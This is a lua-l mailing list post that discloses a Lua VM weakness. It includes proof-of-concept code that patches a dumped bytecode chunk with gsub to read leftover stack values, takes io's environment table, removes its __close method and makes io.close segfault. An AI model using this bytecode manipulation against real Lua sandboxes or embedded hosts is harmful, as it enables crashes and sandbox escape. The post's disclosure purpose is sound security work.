lua-users home
lua-l archive

[Date Prev][Date Next][Thread Prev][Thread Next] [Date Index] [Thread Index]


By modifying a binary chunk, and placing a CALL instruction at the
bottom of the stack, instead of the top of the stack, the calling
function's stack may now contain locals left on the stack by the
called function. For example the following code example (nicely
formatted at http://codepad.org/08wBHbsv ) calls io.close, grabs the
io environment table (because io.close leaves it on the stack),
modifies it, and then calls io.close again to cause a segfault:

-- Define a Lua function which calls a 'complex' C function
function X()
  io.close()
end

--[[
  X currently looks something like this:
    (2 locals, 2 constants)
    GETGLOBAL "io"
    GETTABLE  "close"
    CALL register 0
    RETURN nothing
--]]

-- Make some modifications to X
Xs = string.dump(X)
Xs = Xs:gsub("\2(\4%z%z%z)","\20%1") -- num locals, num instructions;
2, 4 -> 20, 4
Xs = Xs:gsub("\30%z\128%z","\30\0\0\8") -- return nothing -> return all locals
X = assert(loadstring(Xs))

--[[
  X now looks something like:
    (20 locals, 2 constants)
    GETGLOBAL "io"
    GETTABLE  "close"
    CALL register 0
    RETURN registers 0 through 16

  Calling X now returns some of what io.close left on the stack when
it returned!!!
--]]

-- Take the io environment table, and remove the __close method
select(3, X()).__close = nil

--[[
  Call io.close again, within which, these two lines cause a segfault:
   lua_getfield(L, -1, "__close");
   return (lua_tocfunction(L, -1))(L);
--]]
X()